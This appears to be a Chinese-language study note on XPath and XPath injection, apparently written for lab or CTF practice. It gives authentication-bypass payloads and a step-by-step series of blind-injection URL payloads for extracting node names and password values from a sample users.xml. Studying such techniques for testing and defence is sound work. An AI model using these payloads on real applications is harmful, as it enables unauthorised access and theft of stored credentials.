[NOTE] XPath及其注入
XPath
XPath是一门在XML文档中查找信息的语言
这里学习基本知识及相关语法
一个加载XML文件,并使用XPath解析和查找元素的例子:
<!DOCTYPE html>
<html>
<body>
<script>
function loadXMLDoc(dname) {
if (window.XMLHttpRequest) {
// 加载XML文档-步骤一
xhttp=new XMLHttpRequest();
} else {
xhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
// 加载XML文档-步骤二
xhttp.open("GET",dname,false);
xhttp.send("");
return xhttp.responseXML;
}
xml=loadXMLDoc("books.xml");
// XPath语法的字符串
path="/bookstore/book/title"
// code for Mozilla, Firefox, Opera, etc.
if (document.implementation && document.implementation.createDocument) {
// 在evaluate()中使用XPath
var nodes=xml.evaluate(path, xml, null, XPathResult.ANY_TYPE, null);
var result=nodes.iterateNext();
while (result) {
document.write(result.childNodes[0].nodeValue);
document.write("<br>");
result=nodes.iterateNext();
}
}
</script>
</body>
</html>
网页的样子:
Everyday Italian
Harry Potter
XQuery Kick Start
Learning XML
XPath注入
参考:
指利用XPath解析器的松散输入和容错特性,能够在URL、表单或其它信息上附带恶意的XPath查询代码,以获得权限信息的访问权并更改这些信息
XPath注入发生在当站点使用用户输入的信息来构造请求以获取XML数据
攻击者对站点发送经过特殊构造的信息来探究站点使用的XML是如何构造的,从而进一步获取正常途径下无法获取的数据
XPath不存在访问控制,所以我们不会遇到许多在SQL注入中经常遇到的访问限制
XML中没有访问控制或者用户认证,如果用户有权限使用XPath查询,并且之间没有防御系统或者查询语句没有被防御系统过滤,那么用户就能够访问整个 XML 文档
注入出现的位置常是cookie,headers,request parameters/input等
一个例子
假设有以下XPath查询语句:
//users/user[loginID/text()='{id}' and password/text()='{pwd}']
要求传入正确的id
以及pwd
才能返回正确的数据
那么就很像是SQL注入,两个的payload:' or '1'='1
,变成:
//users/user[loginID/text()='' or '1'='1' and password/text()='' or '1'='1']
就饶过登陆检验,成功获取所有user数据
另外上面第二个参考资料那里有一些CTF赛题
看看能够更好理解
再一个例子
假设有以下XPath查询语句:
$query="user/username[@name='".$user."']";
那么payload:']|//*|ss['
,变成:
$query="user/username[@name='']|//*|ss['']";
关键是,使用|
符进行并列选择,其中前后两个都是为了闭合
中间那个//*
列出文档所有元素
XPath盲注
主要利用到了XPath中的一些字符串操作函数和运算符
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qEpZyXuv-1639138862187)(D:\快乐之源\HACK学习\Chapter0[NOTE] DSVW靶场练习笔记.assets\1853528-20191110203831875-261157258.png)]
估计也和SQL盲注类似,正常的页面回显仅有两种,只能区分查询是否正确
于是就要结合各种逻辑判断语句来进行逐级、逐节点以及逐字符等的猜解
除上表所列之外,下面补充一点常用函数(参考这里,打死不看官方文档系列):
- name(node):返回参数节点的节点名称
- number(arg):返回参数的数值(类似于ascii())
- abs(num):返回数值的绝对值
- string(arg):返回参数的字符串值
- concat(str, str, …):返回字符串的拼接
- string-join((str, str, …), sep):返回以sep为分隔符拼接的字符串
- substring(str, start, len=-1):返回分割后的字符串
- string-length(str):返回参数字符串的长度
- translate(str1, str2, str3):返回str1中str2替换成str3后的字符串
- escape-uri(strURI, true()/false()):返回URL编码后的URL
- substring-before(str1, str2):返回str2在str1中出现之前的子字符串
- substring-after(str1, str2):类似上一个
- replace(str,pattern,replace):返回替换后的字符串
- count(item):返回节点数目
- position():返回当前正在被处理的节点的index位置
//book[position()=3] - last():返回在被处理的节点列表中的项目数目
//book[last()]
一个盲注例子
<?xml version="1.0" encoding="utf-8"?>
<users>
<user id="0">
<username>admin</username>
<name>admin</name>
<surname>admin</surname>
<password>7en8aiDoh!</password>
</user>
<user id="1">
<username>dricci</username>
<name>dian</name>
<surname>ricci</surname>
<password>12345</password>
</user>
<user id="2">
<username>amason</username>
<name>anthony</name>
<surname>mason</surname>
<password>gandalf</password>
</user>
<user id="3">
<username>svargas</username>
<name>sandra</name>
<surname>vargas</surname>
<password>phest1945</password>
</user>
</users>
下面盲注猜解建议配合使用二分法
猜解当前节点的元素个数:
/?name=admin' and count(.//*)=4 and '1'='1
猜解第一个元素名称的长度:
/?name=admin' and string-length(name(.//*[position()=1]))=8 and '1'='1
猜解第一个元素名称的第一个字符:
/?name=admin' and substring(name(.//*[position()=1]),1,1)='u' and '1'='1
猜解第一个元素名称:
/?name=admin' and name(.//*[position()=1])='username' and '1'='1
猜解第四个元素名称:
/?name=admin' and name(.//*[position()=4])='password' and '1'='1
猜解第四个元素的值的长度:
/?name=admin' and string-length(.//password/text())=10 and '1'='1
猜解第四个元素的值的第一个字符(字符之间可以直接用大小与号比较):
/?name=admin' and substring(.//password/text(), 1, 1)='7' and '1'='1
猜解第四个元素的值:
/?name=admin' and .//password/text()='7en8aiDoh!' and '1'='1
以上盲注都是进入到与’admin’有关的特定范围
是使用.//
来选取当前节点
当然也可以使用/
来从根元素选取节点
再注一下加深印象
只有一个根节点:
/?name=admin' and count(/*)=1 and '1'='1
根节点名称长度为5:
/?name=admin' and string-length(name(/*[position()=1]))=5 and '1'='1
根节点名称第一个字符为‘u’:
/?name=admin' and substring(name(/*[position()=1]),1,1)='u' and '1'='1
根节点名称为“users”:
/?name=admin' and name(/*[position()=1])='users' and '1'='1
根节点下面有4个节点:
/?name=admin' and count(/users/*)=4 and '1'='1
/users下面第一个节点的名字是“user”:
/?name=admin' and name(/users/*[position()=1])='user' and '1'='1
第一个user节点下面有4个节点:
/?name=admin' and count(/users/user[position()=1]/*)=4 and '1'='1
如果某一结点下面没有子节点,那么这样子将会直接返回节点值:
/users/user[position()=1]/*[position()=1]
匹配admin
因此叶子节点应该这样提取节点名称:
name(/users/user[position()=1]/*[position()=1])
所以第一个user节点的第四个(叶子)节点长度为8:
/?name=admin' and string-length(name(/users/user[position()=1]/*[position()=4]))=8 and '1'='1
第一个user节点的第四个(叶子)节点名称的第一个字符为‘p’:
/?name=admin' and substring(name(/users/user[position()=1]/*[position()=4]),1,1)='p' and '1'='1
第一个user节点的第四个(叶子)节点名称为“password”
/?name=admin' and name(/users/user[position()=1]/*[position()=4])='password' and '1'='1
/users/user[position()=1]/*[position()=4]
这个匹配到password的值
下略BLABLABLA